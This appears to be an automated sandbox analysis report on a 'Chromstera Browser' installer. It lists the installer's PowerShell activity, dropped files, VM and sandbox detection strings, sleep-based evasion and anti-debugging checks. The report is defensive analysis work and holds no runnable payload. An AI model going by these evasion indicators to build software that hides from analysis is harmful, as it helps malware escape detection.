Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Installer\MSI4739.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSI4739.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSI4739.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Installer\MSI4739.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSI4739.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSI4739.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSI4739.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSI4739.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSI4739.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSI4739.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSI4739.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Installer\MSIFB77.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSIFB77.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSIFB77.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Installer\MSIFB77.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSIFB77.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSIFB77.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSIFB77.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSIFB77.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSIFB77.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSIFB77.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Installer\MSIFB77.tmp	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe

Code function: 8_2_000F02B0

8_2_000F02B0

Contains long sleeps (>= 3 min)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4082	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4615	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6014
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2232
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5887
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1951

Found dropped PE file which has not been started or loaded

Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI331F.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\viewer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shi3105.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICA7D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIEC26.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICBB9.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI32EF.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shiC6A3.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI3193.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSID11C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSID04F.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\lzmaextractor.dll	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI3517.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI3290.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICB79.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICAEB.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI3340.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI35A6.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI3230.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC933.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI3566.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC9EF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI11D0.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI32CF.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI35E5.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI3250.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI3360.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI34E7.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\aischeduler2.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSICC66.tmp	Jump to dropped file

Found evasive API chain checking for process token information

Source: C:\Windows\Installer\MSIFB77.tmp	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\Installer\MSI4739.tmp	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Users\user\Desktop\setup.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_0-45269

Found large amount of non-executed APIs

Source: C:\Users\user\Desktop\setup.exe	API coverage: 5.7 %
Source: C:\Users\user\Desktop\setup.exe	API coverage: 5.5 %
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	API coverage: 4.5 %
Source: C:\Windows\Installer\MSI4739.tmp	API coverage: 5.1 %
Source: C:\Windows\Installer\MSIFB77.tmp	API coverage: 4.3 %

May check if the current machine is a sandbox (GetTickCount - Sleep)

Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe

Code function: 8_2_000F02B0

8_2_000F02B0

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\setup.exe TID: 7424	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8048	Thread sleep count: 4082 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8048	Thread sleep count: 4615 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8108	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8032	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8068	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4092	Thread sleep count: 6014 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4092	Thread sleep count: 2232 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 332	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1860	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7664	Thread sleep count: 5887 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7660	Thread sleep count: 1951 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7696	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7680	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3468	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\timeout.exe TID: 2344	Thread sleep count: 45 > 30

Queries disk information (often used to detect virtual machines)

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\Users\user\AppData\Roaming FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\Users\user\AppData\Roaming\Chromstera Solutions\Chromstera Browser 1.0.0.0\install FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00CCBDA0 FindFirstFileW,GetLastError,FindClose,	0_2_00CCBDA0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BC2290 FindClose,PathIsUNCW,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,_wcsrchr,_wcsrchr,PathIsUNCW,	0_2_00BC2290
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00CCB3A0 _wcsrchr,_wcsrchr,FindFirstFileW,FindFirstFileW,FindFirstFileW,FindClose,FindClose,_wcsrchr,	0_2_00CCB3A0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00CCB7D0 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,GetFileAttributesW,FindNextFileW,	0_2_00CCB7D0
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_000DEAA0 GetLastError,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindClose,	8_2_000DEAA0
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_00184E5C FindFirstFileExW,FindNextFileW,FindClose,FindClose,	8_2_00184E5C

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00D7D0F2 VirtualQuery,GetSystemInfo,

0_2_00D7D0F2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: MSIFB77.tmp, 00000036.00000003.2838702310.000001567CDE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: setup.exe, 00000000.00000003.1717180600.0000000003C6D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1716043563.0000000003C6D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2315981321.0000000003C6C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2950970650.0000000003C6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: Chromnius-Main.msi.0.dr	Binary or memory string: HKEY_USERSRegOpenKeyTransactedW::NetUserGetInfo() failed with error: \@invalid string_view positionVMware, Inc.VMware Virtual PlatformVMware7,1VMware20,1innotek GmbHVirtualBoxMicrosoft CorporationVirtual MachineVRTUALACRSYSA M IGetting system informationManufacturer [Model [BIOS [\\?\UNC\\\?\shim_clone%d.%d.%d.%dDllGetVersion[%!]%!ProgramFilesFolderCommonFilesFolderDesktopFolderAllUsersDesktopFolderAppDataFolderFavoritesFolderStartMenuFolderProgramMenuFolderStartupFolderFontsFolderLocalAppDataFolderCommonAppDataFolderProgramFiles64FolderProgramFilesProgramW6432SystemFolderSystem32FolderWindowsFolderWindowsVolumeTempFolderSETUPEXEDIRshfolder.dllSHGetFolderPathWProgramFilesAPPDATAPROGRAMFILES&+
Source: setup.exe, 00000000.00000003.1717180600.0000000003C6D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2318609017.0000000003C48000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1716043563.0000000003C6D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2315981321.0000000003C6C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2315981321.0000000003C34000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1716752934.0000000003C34000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1716107883.0000000003C34000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2950811830.0000000003C49000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2317680666.0000000003C73000.00000004.00000020.00020000.00000000.sdmp, ChromsteraUpdater.exe, 00000008.00000002.1810981504.00000000005E7000.00000004.00000020.00020000.00000000.sdmp, ChromsteraUpdater.exe, 00000008.00000002.1810981504.000000000065E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000006.00000002.1833673011.000002526E2D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00D7F583 IsDebuggerPresent,OutputDebugStringW,

0_2_00D7F583

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00D00370 CreateFileW,GetLastError,OutputDebugStringW,OutputDebugStringW,SetFilePointer,FlushFileBuffers,WriteFile,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,OutputDebugStringW,WriteFile,WriteFile,FlushFileBuffers,FlushFileBuffers,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,

0_2_00D00370

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00CCF120 LoadLibraryW,GetProcAddress,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,FreeLibrary,

0_2_00CCF120

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00D9A090 mov eax, dword ptr fs:[00000030h]	0_2_00D9A090
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00D9A04C mov eax, dword ptr fs:[00000030h]	0_2_00D9A04C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00D8B54A mov ecx, dword ptr fs:[00000030h]	0_2_00D8B54A
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00D7F896 mov esi, dword ptr fs:[00000030h]	0_2_00D7F896
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00D9A090 mov eax, dword ptr fs:[00000030h]	3_2_00D9A090
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00D9A04C mov eax, dword ptr fs:[00000030h]	3_2_00D9A04C
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00D8B54A mov ecx, dword ptr fs:[00000030h]	3_2_00D8B54A
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00D7F896 mov esi, dword ptr fs:[00000030h]	3_2_00D7F896
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_001501C9 mov esi, dword ptr fs:[00000030h]	8_2_001501C9
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0018252D mov eax, dword ptr fs:[00000030h]	8_2_0018252D
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_00178DA0 mov ecx, dword ptr fs:[00000030h]	8_2_00178DA0

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00D7F902 GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,

0_2_00D7F902

Enables debug privileges

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BDC5D0 __set_se_translator,SetUnhandledExceptionFilter,	0_2_00BDC5D0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00D80424 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00D80424
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00D84FE3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D84FE3
